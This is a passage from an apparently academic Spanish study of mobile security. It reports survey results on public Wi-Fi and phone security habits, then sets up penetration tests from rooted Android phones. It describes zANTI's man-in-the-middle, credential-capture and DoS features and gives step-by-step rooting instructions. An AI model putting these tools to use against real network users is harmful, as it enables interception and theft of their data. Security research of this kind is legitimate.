No es ajeno que en la actualidad las operadoras de red mévil estan dando muchas
oportunidades para que el usuario comun acceda a planes de datos en los cuales
pueden gestionar su trafico a su antojo y sin restricciones, en la figura 9 se
evidencia que el 60 % de los encuestados manejan un plan de datos con su
operador, estadistica que nos indica que el 40 % de la muestra es la poblacién
que esta sujeta a tener muchas mas posibilidades de buscar conexién en una red
libre.

Figura 9. Encuesta P2

;Posee algun plan de datos? (s5respuesias)

@®si
@ No

Fuente: Los autores.
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8.2.3 Uso de Redes Libres

A pesar de que en la figura 10 se evidencié que el 60 % de la muestra tiene y
maneja un plan de datos con su operador movil las imagenes 6 y 7 evidencian que
la mayoria de las personas estan haciendo uso de redes publicas, un 57.6% en
lugares publicos sin proteccion como centros comerciales, cafés, restaurantes y
bares, lugares en los que la seguridad de la informacion no se considera
importante.

Figura 10. Encuesta P3.1

¢Hace uso de redes Wi-Fi de acceso libre? (85 respuestas)

Fuente: Los autores.

En la figura 11 se evidencia que en los lugares de trabajo y las universidades la
poblacion de muestra tiene mas confianza ya que por un 5.9% el 80% accede sin
problemas y hace uso de las redes de estos lugares sin mayores preocupaciones.

Figura 11. Encuesta P3.2

¢Hace uso de las redes Wi-Fi de su lugar de trabajo y/o estudio? (55 respuestas)

@ si
@ No

Fuente: Los autores.
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8.2.4 Uso apropiado

La pregunta niumero 4 realizada en la encuesta de seguridad en dispositivos
moviles enfoca su atencion al uso apropiado que los usuarios comunes le dan a su
dispositivo movil, respuestas que nos indican que las funcionalidades de los
teléfonos inteligentes y las tabletas estan siendo aprovechadas al méximo por las
personas que comunmente operan dichos dispositivos, esto puede observarse en
la figura 12.

Figura 12. Encuesta P4

;Qué usole da a su equipo movil? (Marque todas las que apliquen) (5 esoueses

Enviary reci.. B1(95,3 %)

Eniretenimie. . —63(741%)

Acfividades... 56659 %)

Educacion 49(576%)

Redes socia... 75(88.2%)

Fuente: Los autores.

8.2.5 Frecuenciade uso

Las necesidades de uso de tecnologias de la informacion han llevado a sus
usuarios a una dependencia mayoritaria para realizar diferentes actividades
diarias, el uso constante del celular y la actualizacién de la informacion conlleva al
constante monitoreo del dispositivo, en la pregunta 5 de la encuesta realizada se
evidencia que los usuarios en por lo menos mas de 2 veces al dia usan sus
equipos fuera de su lugar de residencia, figura 13, inclusive un porcentaje muy
aproximado al 50 % lo utiliza todo el tiempo.
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Figura 13. Encuesta P5

:Con que frecuencia hace uso de su equipo mévil fuera de su lugar de
residencia?

(85 respuestas)

@ Unavez al dia

@ Entre 2y 5 veces al dia
Entre 6y 9 veces al dia
@ Mas de 9 veces al dia
@ Todo el tiempo
‘ @ Unicamente cuando entra o envia
una llamada o mensaje de texto
)4

Fuente: Los autores.

8.2.6 Opciones de seguridad de inicio de sesién

Comenzando con las preguntas de seguridad, figura 14, en dispositivos moévil se
analiza en primera instancia si las personas de la poblacion hacen uso de las
opciones bésicas de seguridad que proporcionan sus dispositivos, encontramos
qgue solo el 23.5% de los encuestados dejan el inicio de sesion sin ningun tipo de
seguridad.

Figura 14. Encuesta P6.1

¢Hace uso de las opciones de seguridad que ofrece su dispositivo? (g5 respuestas

® si
@® No

Fuente: Los autores.

Del 76.5% de la poblacion encuestada el 53.8% como gran mayoria hace uso de
patrén para iniciar sesion en su dispositivo movil, ninguno de los encuestados usa
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reconocimiento facial, lo que indica que el método por preferencia se adecua
perfectamente a las necesidades de “inicio de sesion seguro” de los dispositivos.
Figura 15. Encuesta P6.2

;Cual opcidn utiliza? (55 respuestas)

® Pin
@ Patron

Reconocimiento facial
@ Reconocimiento dactilar
@ Contrasefia

Fuente: Los autores.

8.2.7 Informacién almacenada

Es importante definir qué informacién es significativa y confidencial para las
personas y mas aun decidir donde guardamos esa informacion, ya que la mayoria
de casos de delitos informaticos enfocan sus ataques a captar, modificar o robar
informacién importante.

En la figura 16 se evidencia que aproximadamente la mitad de la poblacion
almacena datos importantes en sus dispositivos moviles, teniendo en cuenta que
el 23.5% de la poblacion no usa seguridad de inicio de sesion se debe considerar
un método apropiado por esta minoria.
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Figura 16. Encuesta P7

¢Almacena datos importantes y confidenciales en su dispositivo? (55 respuestas)

@ Si
@® No

Fuente: Los autores.

8.2.8 Informacién Sensible

Por informacion sensible se entiende toda informacioén privada de caracter
personal como contrasefias, usuarios, direcciones, numeros de tarjetas de crédito
etc. Para el caso de nuestras encuestas evidenciamos en la figura 17 que el
24.7% de la muestra de la poblacion hace uso de su dispositivo movil para realizar
transacciones bancarias, operaciones que requieren del envio y/o recepcion de
informacion sensible en el trafico de datos de la red a utilizar. El 75.3% restante
toma medidas de seguridad o desconoce la forma de realizar las transacciones
desde su dispositivo.

Figura 17. Encuesta P8

¢Hace uso de su dispositivo para realizar transacciones bancarias? (&5 respuestas)

® si
® No

Fuente: Los autores.
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8.2.9 Cuentas Sincronizadas

Hoy en dia la tecnologia implica el manejo de miles de cuentas las cuales creamos
con todos nuestros datos a nuestro nombre, estas cuentas relacionan informacion
sensible de ciertos ambitos de nuestras vidas, numeros telefonicos, direcciones
residenciales y laborales, apellidos completos, fechas de nacimiento, gustos y
aficiones, algunas de ellas habilitan el registro de tarjetas de crédito para realizar
compras en internet, etc. Se ha vuelto casi que obligatorio la asignacién de una
cuenta para el uso de las tiendas (en el caso de Android), sin embargo, hay
personas que crean cuentas Unica y exclusivamente para activar estos servicios.
De los encuestados el 80% sincronizan cuentas en su dispositivo, aumentando los
datos “importantes” que guardan en ellos, y agregando puntos objetivos a los
atacantes informaticos, figura 18.

Figura 18. Encuesta P9

;Sincroniza sus cuentas de correo y redes sociales en su dispositivo?

(85 respuestas)
@® Si
= @ No

Fuente: Los autores.

8.2.10 Uso compartido y seguridad

Los dispositivos moviles se han convertido en herramientas personales con las
gue nos relacionamos en el dia a dia, no obstante, hay personas que no tienen
discrecion al prestar sus equipos entrando en puntos vulnerables de registro de
informacion, para nuestra encuesta notamos que mas del 70% de la muestra se
toman el trabajo de hacer su dispositivo algo personal e intransferible, y existe casi
un 30% que entran en vulnerabilidad por robo de informacion de manera directa,
esto puede observarse en la figura 19.
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Figura 19. Encuesta P10.1

¢Deja que otras personas utilicen su dispositivo? (25 respuestas)

®si
® No

Fuente: Los autores.

En el nuevo sistema operativo android, Lollipop, se ha habilitado una herramienta
gue proporciona un usuario alternativo al original y deja iniciar las aplicaciones en
limpio del dispositivo, esta sesion se llama invitado (ver literal 8.10.1) y solo el 12%
de las 25 personas que comparten sus dispositivos la usan, figura 20.

Figura 20. Encuesta P10.2

Si la respuesta anterior fue positiva: ; Tiene habilitada la sesion de invitado en
su dispositivo?

(25 respuestas)

Fuente: Los autores.

8.2.11 Compartir Internet

La imagen nimero 21 nos muestra que la opcién de compartir internet de nuestros
dispositivos se ha convertido en una buena herramienta a utilizar, el 56.5% de la
muestra alguna vez a hecho uso de ella, si compartimos internet debemos seguir
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unas recomendiones especificas que se tratan en el literal 8.10.2 de este
documento para no ser victima de robos de informacién por ataques informéaticos.

Figura 21. Encuesta P11

¢Ha hecho uso de la opcién de compartir acceso a Internet que tiene su

dispositivo?
(85 respuestas)
® si
‘ B
56,5%

Fuente: Los autores.

8.2.12 Antivirus Moévil

Los antivirus moéviles han tenido mucho auge en la Gltima década, la posibilidad de
integracion de estos software con aplicaciones que eliminan basura y optimizan
memoria de los dispositivos han logrado una buena confiabilidad en las mismas
(ver literal 8.10.3), de las 85 respuestas recibidas, el 55.3% aseguran tener un
antivirus instalado en el equipo, figura 22; no se especifica cual es la herramienta
pero esto nos indica que mas del 40 % de la muestra tiene menos posibilidades de
reconocer virus o informacion maliciosa de los atacantes.

Figura 22. Encuesta P12

¢ Tiene algun antivirus instalado en el equipo Movil? (25 respuesias)

®si
@® No

Fuente: Los autores.
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8.2.13 Actualizaciones automaticas

Cuando instalamos aplicaciones en nuestros dispositivos moviles estas verifican
ciertos permisos (ver literal siguiente), y los usuarios son los que conceden y
autorizan para librar responsabilidad, sin embargo algunas veces pasamos por
alto y dejamos que las actualizaciones corran automaticamente, esto no es un
problema con las aplicaciones certificadas (en el caso de android por Google) pero
si lo es con las aplicaciones de fuentes desconocidas en las que se pueden
modificar en cualquier momento, ya que en una de estas actualizaciones se puede
ser victima de algun tipo de delito informatico. En el caso especifico de la muestra
tomada, el 80% de los usuarios totales estdn concientes de que tienen sus
dispositivos configurados para realizar automéaticamente las actualizaciones, figura
23,y el 20 % de la muestra lo hace de mediante autorizacion o de manera manual.

Figura 23. Encuesta P13

¢Actualiza automaticamente las aplicaciones que tiene instaladas en el
equipo?

(85 respuestas)

®si
® No

Fuente: Los autores.

8.2.14 Aplicaciones y permisos de instalacion y ejecucion

Como se hablaba en el literal anterior al instalar aolicaciones en nuestros
dispositivos mobiles debemos dar ciertos permisos para que la aplicacion funcione
correctamente, leer detenidamente estos permisos que concederemos 0 no es
clave y buena practica para la seguridad informatica, algunos de los permisos con
los que nos podremos encontrar segun la pagina de desarrolladores de android en
su manifiesto de permisos pueden verse en la tabla 2:
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Tabla 2. Permisos de aplicaciones

String

String
String
String
String
String
String
String

String
String
String

String
String

String

String
String
String
String
String
String
String
String

String

Access_checkin_properti
es
Access_coarse_location
Access_notification_policy
Access_wifi_state
Account_manager
Add_voicemail
Battery_stats

Bind_accessibility_service

Record_audio
Reorder_tasks

Request_ignore_battery_op
timizations

Request_install_packages

Restart_packages

Send_respond_via_messag
e

Send_sms
Transmit_ir
Uninstall_shortcut
Update_device_stats
Use_fingerprint
Use_sip

Vibrate

Wake_lock

Write_apn_settings

Allows read/write access to the "properties" table in the checkin
database, to change values that get uploaded.

Allows an app to access approximate location.

Marker permission for applications that wish to access notification policy.
Allows applications to access information about Wi-Fi networks.

Allows applications to call into AccountAuthenticators.

Allows an application to add voicemails into the system.

Allows an application to collect battery statistics

Must be required by an AccessibilityService, to ensure that only the
system can bind to it.

Allows an application to record audio.
Allows an application to change the Z-order of tasks.

Permission an application must hold in order to
USeACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS.

Allows an application to request installing packages.

This constant was deprecated in API level 8.
The restartPackage(String) API is no longer supported.

Allows an application (Phone) to send a request to other applications to handle
the respond-via-message action during incoming calls.

Allows an application to send SMS messages.

Allows using the device's IR transmitter, if available.
Allows an application to uninstall a shortcut in Launcher.
Allows an application to update device statistics.

Allows an app to use fingerprint hardware.

Allows an application to use SIP service.

Allows access to the vibrator.

Allows using PowerManager WakelLocks to keep processor from sleeping or
screen from dimming.

Allows applications to write the apn settings.

Fuente: http://developer.android.com/reference/android/Manifest.permission.html

A continuacion en la figura 24, vemos el 62.4% de la muestra seleccionada para
realizar las encuestas asegura revisar los permisos que se conceden a las
aplicaciones instaladas, y el 37,6% no se percatan de los permisos gque asignan
aumentando la posibilidad de instalar aplicaciones maliciosas que tengan por
ejemplo control de cAmara frontal y este reportando videos a alguna parte.
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http://developer.android.com/reference/java/lang/String.html
http://developer.android.com/reference/android/Manifest.permission.html#ACCESS_CHECKIN_PROPERTIES
http://developer.android.com/reference/android/Manifest.permission.html#ACCESS_CHECKIN_PROPERTIES
http://developer.android.com/reference/java/lang/String.html
http://developer.android.com/reference/android/Manifest.permission.html#ACCESS_COARSE_LOCATION
http://developer.android.com/reference/java/lang/String.html
http://developer.android.com/reference/android/Manifest.permission.html#ACCESS_NOTIFICATION_POLICY
http://developer.android.com/reference/java/lang/String.html
http://developer.android.com/reference/android/Manifest.permission.html#ACCESS_WIFI_STATE
http://developer.android.com/reference/java/lang/String.html
http://developer.android.com/reference/android/Manifest.permission.html#ACCOUNT_MANAGER
http://developer.android.com/reference/java/lang/String.html
http://developer.android.com/reference/android/Manifest.permission.html#ADD_VOICEMAIL
http://developer.android.com/reference/java/lang/String.html
http://developer.android.com/reference/android/Manifest.permission.html#BATTERY_STATS
http://developer.android.com/reference/java/lang/String.html
http://developer.android.com/reference/android/Manifest.permission.html#BIND_ACCESSIBILITY_SERVICE
http://developer.android.com/reference/android/accessibilityservice/AccessibilityService.html
http://developer.android.com/reference/java/lang/String.html
http://developer.android.com/reference/android/Manifest.permission.html#RECORD_AUDIO
http://developer.android.com/reference/java/lang/String.html
http://developer.android.com/reference/android/Manifest.permission.html#REORDER_TASKS
http://developer.android.com/reference/java/lang/String.html
http://developer.android.com/reference/android/Manifest.permission.html#REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
http://developer.android.com/reference/android/Manifest.permission.html#REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
http://developer.android.com/reference/android/provider/Settings.html#ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
http://developer.android.com/reference/java/lang/String.html
http://developer.android.com/reference/android/Manifest.permission.html#REQUEST_INSTALL_PACKAGES
http://developer.android.com/reference/java/lang/String.html
http://developer.android.com/reference/android/Manifest.permission.html#RESTART_PACKAGES
http://developer.android.com/reference/android/app/ActivityManager.html#restartPackage(java.lang.String)
http://developer.android.com/reference/java/lang/String.html
http://developer.android.com/reference/android/Manifest.permission.html#SEND_RESPOND_VIA_MESSAGE
http://developer.android.com/reference/android/Manifest.permission.html#SEND_RESPOND_VIA_MESSAGE
http://developer.android.com/reference/java/lang/String.html
http://developer.android.com/reference/android/Manifest.permission.html#SEND_SMS
http://developer.android.com/reference/java/lang/String.html
http://developer.android.com/reference/android/Manifest.permission.html#TRANSMIT_IR
http://developer.android.com/reference/java/lang/String.html
http://developer.android.com/reference/android/Manifest.permission.html#UNINSTALL_SHORTCUT
http://developer.android.com/reference/java/lang/String.html
http://developer.android.com/reference/android/Manifest.permission.html#UPDATE_DEVICE_STATS
http://developer.android.com/reference/java/lang/String.html
http://developer.android.com/reference/android/Manifest.permission.html#USE_FINGERPRINT
http://developer.android.com/reference/java/lang/String.html
http://developer.android.com/reference/android/Manifest.permission.html#USE_SIP
http://developer.android.com/reference/java/lang/String.html
http://developer.android.com/reference/android/Manifest.permission.html#VIBRATE
http://developer.android.com/reference/java/lang/String.html
http://developer.android.com/reference/android/Manifest.permission.html#WAKE_LOCK
http://developer.android.com/reference/java/lang/String.html
http://developer.android.com/reference/android/Manifest.permission.html#WRITE_APN_SETTINGS
http://developer.android.com/reference/android/Manifest.permission.html

Figura 24. Encuesta P14

i Es consciente de los permisos que otorga al instalar alguna aplicacién?

(85 respuestas)

@ si
® No

Fuente: Los autores.

8.2.15 Concientizacion atagues moviles

Entender que el auge informatico constantemente esti en avance y desarrollo
deberia implicar comprender que la delincuencia informatica a avanzado de
manera exponencial, los delincuentes informaticos cada vez mas buscan
alternativas, opciones, identifican vulnerabilidades para explotarlas y sacar
provecho de informacién privada, la posibilidad de un ataque informético aunque
es baja por demanda se debe considerar importante ya que los datos que
normalmente guardamos o0 los usos que tenemos con nuestros dispositivos
pueden poner en riesgo nuestra informacion. De los encuestados el 27.1%, figura
25, consideran que no pueden ser victimas de un ataque informatico en alguin
momento, este documento demostrara en la fase de atagues que realmente
pueden estar muy equivocados.
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Figura 25. Encuesta P15

;Considera que su dispositivo pueda ser victima de un ataque informatico en
algin momento?

(85 respuestas)

®si
@® No

Fuente: Los autores.

8.2.16 Conocimientos generales

A continuacion, figura 26, se presenta la Unica pregunta abierta de la encuesta
realizada la cual fue respondida por dos personas de 85, cabe rescatar que es un
tema gue no es ajeno a la cotidianidad actual pero por falta de informacion y
conocimiento se desconocen los métodos o tipos de ataques utilizados por los
delincuentes informéticos en la actualidad.

Figura 26. Encuesta P16

iConoce alglin caso de ataque informatico a dispositivos moviles? (¢5 respusstas)

Vulneracién contrasefia deshloqueo
No

Conoci el caso de una amiga a la que le enviaron un mensaje por facebook, ella lo abrié y empezd a hackear su
cuenta y enviar mensajes e invitar nuevos contactos a su red social. A mi me llego el mensaje y le escribi que ha
que hacia referencia el enlace que me enviaba con ese nombre tan raro? Gracias a Dios no lo abriy le pregunte,
entonces fue ahi cuando me contd lo sucedido. Experiencia es que no debemos abrir cualquier tipo enlace o link
que refiera informacién o solicitud, puede ser un ataque de seguridad sin que te des cuenta.

Fuente: Los autores.
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8.2.17 Medios de difusion

Para finalizar la tabulacion de las encuestas realizadas se muestra en la figura 27
el uso de los medios de difusion utilizados.

e Redes sociales: Facebook, Twiter y Google+. 35.3%

e Foro de mensajes (Materia: Proyecto de grado 2 UNAD). 3.5%

e Envio directo: difusion whatsApp, correo electrénico, etc. 61.2%

Figura 27. Encuesta P17

¢Por qué medio se entero de la encuesta? (5 respuestas)

@ We fue enviada directamente (Correo

o mensaje instantaneo)
@ Foro de mensajes
Otro (Facebook, Twitter, etc.)

Fuente: Los autores.

8.3 ANALISIS DE REQUERIMIENTOS PARA PRUEBAS DE PENETRACION

Teniendo definido el sistema operativo de los dispositivos moviles que seran
objetivos de ataques con fines investigativos y con el aval del director del proyecto
se definen los requerimientos que se tendran en cuenta para la correcta ejecucion
de las pruebas.

58



8.3.1 Sistema Operativo Android.

Finalizadas las encestas se determina que el sistema operativo seleccionado para
realizar la documentacion serd Android en sus versiones mas recientes.

8.3.2 Entornos de trabajo (Sistemas atacantes)
Las pruebas seran realizadas directamente desde dispositivos moviles. A
continuacion, se especifican los detalles de los dispositivos utilizados.

8.3.2.1 Sony Xperia ZL 6502

Las especificaciones se muestran en la figura 28:

Figura 28. Sony Xperia ZL

© F a4l £ 19:20

<& Informacién del teléfono  Q

Ajustes de la informacion de uso
Enviar datos andnimos y estadisticas deuso a Sony
Mabile

Nimero de modelo
C6502

Versién de Android
5.0.2

Version de banda de base
9x15A-ACEFWMAZ(Q-30110212-82

Version nucleo
3.4.0-perf-gBfa3dae
BuildUser@BuildHost #1
Wed AprB 17:43:10 2015

Namero de compilacion
10.6.A.0.454

Fuente: Los autores.
8.3.2.2 HTC One M7-U

Las especificaciones se muestran en la figura 29:
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Figura 29. HTC One M7

Kernel version
34.10-32fb6bo1
and@AABM #1
SMP PREEMPT

o

=
+

£ Software information

Android version
502

HTC Sense version
69

Baseband version

Software number
4A.23%263,28_1038r.1157.04D

Android Revolution HD 920 by mike1586

Build number HTC SDK AP level
7.19.401.22 CL482424 relesse-keys 655

More
Baseband, Kernel version, etc.

Fuente: Los autores.

8.4 HERRAMIENTAS A UTILIZAR

En este apartado enunciaremos las herramientas que se utilizaran para realizar las
pruebas de penetracién a los usuarios de las redes objetivo, herramientas que se
implementaran desde dispositivos con diferentes sistemas operativos.

8.4.1 zANTI Zimperium Android Network Toolkit

zZANTI es un completo conjunto de herramientas de diagndstico de red creada por
los laboratorios de seguridad movil Zimperium que facilitan ataques de penetracion
a una red especifica hacia los clientes de la conexién, realiza un mapeo completo
y facilita el reconocimiento de nombres de host con su sistema operativo, puertos
abiertos y vulnerabilidades. Entre las opciones disponibles se encuentran:

e Mapeo de red: Identifica, en una red determinada, los hosts conectados a la
misma, identificando no solamente equipos usuarios sino también equipos
principales.

e Busqueda de puertos: Identifica los puertos abiertos de los hosts
conectados a la red.
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e Manipulacion de paquetes: La ejecucion de los ataques y el acceso a los
equipos atacados requiere que ciertos paquetes sean alterados de tal forma
gue el acceso se logre sin ser identificado.

e Sniffer: Obtiene acceso a los pagquetes transmitidos en la red, tanto
enviados como recibidos.

e Ataques MITM (Man in the Middle filters): Facilita la ejecucion de ataques
tipo man-in-the-middle sobre los hosts conectados a la red, pemitiendo
entre otros, insercion de cddigo html, obtencion de datos de acceso
(usuarios y contrasefias), y captura de paguetes (descargas, imagenes,
etc.)

e Ataques DoS (Pentest DoS vulnerabilities): Mediante el aprovechamiento
de vulnerabilidades existentes permite la ejecucibn de ataques de
denegacion de servicio en contra de la red.

En la figura 30 puede observarse la pagina web de los desarrolladores.

Figura 30. zZANTI

© ‘P ZIMPERIUM s oiope Mot T

? ZANTI
Dagnostics

Enterprise Mobile Risk Assessment

Mobile Pentesting Toolkit

-

Fuente: https://www.zimperium.com/zanti-mobile-penetration-testing
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zANTI es una aplicacién desarrollada para ser ejecutada en sistema operativo
Android y es la herramienta principal seleccionada para realizar las pruebas de
penetracion que se desarrollaran en este documento, para su correcto
funcionamiento es necesario ser usuario root y tener sistema operativo igual o
superior a la version 4.0.

8.4.2 Fing

Fing para dispositivos Android es una aplicacion que nos permite administrar
nuestra red Wifi local desde nuestro dispositivo mévil ademas nos proporciona la
lista completa de equipos conectados, permitiendo cambiar el nombre para
identificarlos e incluso saber la IP y NAT de cada uno.

Fing se encuentra disponible en la tienda de aplicaciones de Android de manera
gratuita y puede ser instalado en dispositivos sin la necesidad de ser usuario Root.
La figura 31 muestra la pagina de descarga de la aplicacion en la tienda de
aplicaciones de Google.

Figura 31. Fing

Fing - Network Tools

Overlook Herramientas *Rhhkhy 936

€ Todos

= Overlook WiFi
® Wireless network
192.168.0.1
192.168.0.5 (+4)

192.168.0.12

192.168.0.14

Fuente:
https://play.google.com/store/apps/details?id=com.overlook.android.fing&hl=es_41
9
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8.4.3 Linux Deploy

Linux Deploy para dispositivos Android es una aplicacion de cédigo abierto que
facilita la virtualizacion de un sistema operativo Linux en un dispositivo movil, Linux
Deploy sera utilizado para crear una estacion de trabajo para las pruebas de
penetracion realizadas, se virtualizara la distribucion de Kali con todas sus
prestaciones.

Linux Deploy se encuentra disponible en la tienda de aplicaciones, figura 32, de
Android de manera gratuita y para su correcto funcionamiento debemos ser
usuarios “Root” y tener la herramienta “BusyBox” instalado en el dispositivo.

Figura 32. Linux Deploy

Linux Deploy

https://play.google.com/store/apps/details?id=ru.meefik.linuxdeploy&hl=es_419

8.4.3.1 BusyBox

BusyBox es una aplicacion gratuita para Android la cual proporciona un
paquete de caracteristicas y herramientas UNIX que actlan en segundo
plano en la terminal proporcionando soporte para aplicaciones que requieran
de ella en un momento determinado.
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Existen varias aplicaciones que pueden ser instaladas desde la tienda de
aplicaciones sin embargo para el correcto funcionamiento de Linux Deploy se
debe instalar la version compatible la cual se puede obtener en el siguiente
link:

https://www.dropbox.com/s/p3lsvy2ufyhi5hk/busybox.apk?dl=0

8.4.3.2 Terminal Emulator

La conocida terminal del sistema operativo Linux directamente en el
dispositivo movil Android, Terminal Emulator proporciona acceso al
dispositivo movil desde una ventana de comandos la cual sera utiliza en la
implementacion de la estacion de trabajo, desde esta tendremos acceso a la
instalacion del sistema operativo Kali Linux en el SmartPhone

8.4.3.3 VNC Viewer

VNC Viewer es una aplicacion disponible para diferentes sistemas
operativos, entre ellos Android, permite crear un enlace para soporte remoto
de un sistema con interfaz gréafica.

VNC viewer sera utilizado en este proyecto como medio de visualizacion del
sistema operativo Kali Linux en el dispositivo Android. Cabe rescatar que
esta aplicacion puede ser descargada desde la PlayStore de manera
gratuita.

8.4.4 Kali Linux — Distribucion SANA

Sistema operativo Linux basado en Debian GNU y evolucionado de la distro
BackTrack disefiado principalmente para realizar auditorias de seguridad
informatica, trae consigo una suite completa de herramientas que permiten realizar
pruebas de manera intrusiva en sistemas objetivo.

Este sistema operativo se ejecuta gracias a Linux Deploy, al ser Licencia GNU lo
podemos encontrar en el siguiente link de descarga con sus respectivas
caracteristicas:

64


https://www.dropbox.com/s/p3lsvy2ufyhj5hk/busybox.apk?dl=0

e http://cdimage.kali.org/kali-2016.1/kali-linux-light-2016.1-armhf.imqg.xz

e Nombre: Kali Linux armhf

e Tipo: Imagen

e Tamario: 0.7 Gb

e \Version 2016.1

HA1SUM: cd750dde538eaed9f8edefea011a9b9dcle75143

8.5 CREACION DE ESTACIONES DE TRABAJO

Antes de la ejecucion de las pruebas se debe verificar el funcionamiento de las
herramientas en los equipos utilizados, para esto se harad necesario que los
mismos cuenten con los permisos apropiados para que las herramientas funcionen
adecuadamente.

La ejecucion de las aplicaciones seleccionadas para pruebas de penetracion y
virtualizacion requieren de permisos tipo administrador en los dispositivos en los
que se ejecutaran, asi, se requiere que dichos equipos se encuentren “rooteados”,
es decir, con los accesos de administrador desbloqueados. A continuacion, se
presentan los procesos a seguir para obtener dichos permisos en los equipos
utilizados durante las pruebas y mencionados anteriormente.

8.5.1 Proceso de obtencién de “root” en Sony Xperia ZL C6502

El proceso que se describe a continuacion fue el realizado para generar los
permisos Root en el dispositivo Sony xperia ZL con C6502 con sistema operativo
Android 5.0 Lollipop.
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De manera rapida se procede a descargar el aplicativo de Android KingoRoot.apk
de la siguiente pagina:

https://root-apk.kingoapp.com/

Kingo Root, figura 33, se instala directamente en el dispositivo movil, debemos
asegurar que en los ajustes de seguridad del dispositivo tengamos habilitada la
instalacion de aplicaciones desde fuentes desconocidas.

Después de tener instalada la aplicacion lo Unico que debemos realizar es
ejecutarla y dar en el botéon central denominado como Root, después de unos
minutos el aplicativo prueba varios métodos de rooteo en segundo plano y reinicia
el dispositivo dando los permisos de superusuario correctamente.

Figura 33. Kingo ROOT.

Kingo ROOT

ik

One Click Root

Fuente:
https://www.google.com.co/url?sa=i&rct=j&q=&esrc=s&source=images&cd=&cad=r
ja&uact=8&ved=0ahUKEwjU_NyjpuzLAhXMGx4KHfZxDCUQjRwIBw&url=https%3
A%2F%2Froot-
apk.kingoapp.com%2F&bvm=bv.118443451,d.dmo&psig=AFQjCNGybEErQvwTg
SMERPD|BjxwpTOPeA&ust=1459560846812941
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8.5.2 Proceso de obtencion de “root” en HTC One M7-U

Originalmente este dispositivo es ofrecido por HTC con la version 4.1.2 de Android
con la opcion de actualizarlo a la version 5. Sin embargo, el dispositivo disponible
para el mercado Latinoamericano posee ciertas restricciones en cuanto a las
caracteristicas del kernel base utilizado, asi como también del “build number” que
posee. Asi, el proceso de obtencidon de permisos para este dispositivo requiere
modificar el “recovery” que viene instalado por defecto por un “custom recovery”
desarrollado previamente que no es otra cosa que un recovery original modificado.
Se recomienda el uso del recovery TWRP (Team Win Recovery Project).

8.5.2.1 Herramientas necesarias

e TWRP: Es un recovery modificado con compatibilidad para pantallas
tactiles, permite, entre otras, realizar ajustes a las configuraciones de
fabrica de los dispositivos en los que se encuentre instalado; instalar

ROMs no oficiales, ejecutar limpiezas a los caches del dispositivo, figura
34.

Figura 34. TWRP

Team Win Recovery Project v2.5.0.0 & Team Win Recovery Project v2,5,0.0

| B22AM_ Bottery: 50%+

Stock Unrooted|

gqwer tywuiop

asdfghijk!:|I

&~ 2z x cvbnmae

Fuente: http://www.makeuseof.com/tag/whats-custom-recovery-exploring-
cwm-twrp-friends/
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Se recomienda el uso de versiones superiores a la 2.6.3.4 del recovery
TWRP, esto con el fin de asegurar compatibilidad y evitar errores durante los
procesos de “rooteo”. El software puede obtenerse directamente de la web
del desarrollador de forma gratuita.

e La instalacion del recovery TWRP se realiza haciendo uso de las
herramientas ofrecidas por Google, especificamente fastboot; esta
herramienta es un protocolo como tal que permite la instalacion de
software en las particiones del equipo mévil con Android, puede obtenerse
mediante la instalacion del SDK para la programacion de aplicaciones
para Android, es uno de los paquetes incluidos en el entorno.

8.5.2.2 Paso a Paso

El paso inicial es desbloquear el “bootloader” del equipo ya que de lo
contrario no se podra cargar ningun tipo de firmware al mismo, asi,
ingresamos a http://www.htcdev.com/bootloader/ en donde la misma pégina
guiara el proceso a seguir para lograr el desbloqueo. Al finalizar el proceso,
se verifica el resultado en la pantalla del “bootloader” que se vera similar a la
figura 35.

Figura 35. Unocked Bootloader

LOCKED
N7_UL PUT SHIP S-ON B
HBOOT~ 1. 44, 0880
RADIO-40. 14,3258, 13

OpenDSP-v26. 128, 274. 8262
IMC-hoot
Mar 18 2013, 18:29:18:-1

(VAL U Lo provious |tes
CUOL DOLIND to next item
CPONER> to sulect iten

Fuente: http://img.wonderhowto.com/img/20/61/63506304748072/0/unlock-
your-bootloader-root-your-htc-one-install-custom-recovery-using-
twrp.w654.jpg
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Desbloqueado el “bootloader” se procede entonces a modificar el recovery
del equipo, para esto descargamos la version del recovery que se desea al
computador desde el que se va a realizar la modificacion. En el dispositivo
movil ingresamos a la pantalla del “bootloader” apagando el equipo vy
encendiéndolo presionando los botones “power” y “volumen down” al mismo
tiempo. Al iniciar el equipo nos movemos a la opcion “fastboot” y conectamos
el equipo al computador, veremos una pantalla como la de la figura 36:

Figura 36. Fastboot USB

* UNLOCKED *+=++4
HAGNIDS PVT SHIP S-0N RL
HBOOT -1.35.0002
RADIO-10.04.45D. 12
eMMC-hoot
0ct 12 2012,19:03:36

FASTEOOT USH
<VOL UP= to previous item

<VOL DOWN> to next item
<POWER> to select item

BOOTLOADER]

REBOOT BOOTLOADER
POWER DOWN

Fuente: http://catch22.eu/htcdesiresv/rooting/hboot.png

En el computador abrimos una ventana de comandos y ejecutamos la linea

fastboot flash recovery ruta_al_archivo/nombre_archivo.img

La ruta del archivo solo sera necesaria si la imagen descargada se encuentra
en una carpeta diferente a aquella donde se encuentra el ejecutable
“fastboot”.

Esperamos a que el proceso finalice y nuevamente en el equipo movil nos
desplazamos a la opcidn “reboot bootloader” y esperamos el reinicio del
dispositivo. De nuevo en la pantalla “fastboot” nos regresamos a “bootloader”
y alli nos desplazamos a la opcion “recovery”. Si no se presentd ningun
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inconveniente o problema durante el proceso de instalacion veremos
entonces una pantalla como la presentada en la Figura 37.

Figura 37. TWRP Recovery

Team Win Recovery Project v2.7.1.1

3:57 PM Battery: 84%

Install

Restore

Settings

Advanced

Fuente: http://img.wonderhowto.com/img/39/25/63539838112498/0/ultimate-
guide-using-twrp-only-custom-recovery-youll-ever-need.w654.jpg

Con el nuevo recovery instalado ya podemos obtener los permisos de root
que deseamos, para esto descargamos la aplicacion SuperSu, desarrollada
por Chainfire, para la obtencion y administracion de los permisos de super
usuario en equipos moéviles con Android. La aplicacion la obtenemos de
https://download.chainfire.eu/921/SuperSU/UPDATE-SuperSU-v2.65-
20151226141550.zip y la almacenamos en la memoria del equipo,
preferiblemente en la raiz del mismo para facil acceso.

Con el archivo descargado y copiado al equipo movil reiniciamos en modo
recovery, TWRP soporta el uso de pantalla tactil por lo que presionamos el
boton “Install’, buscamos el archivo descargado que debe tener extension
.Zip y seguimos las instrucciones en pantalla. El equipo se reiniciara al
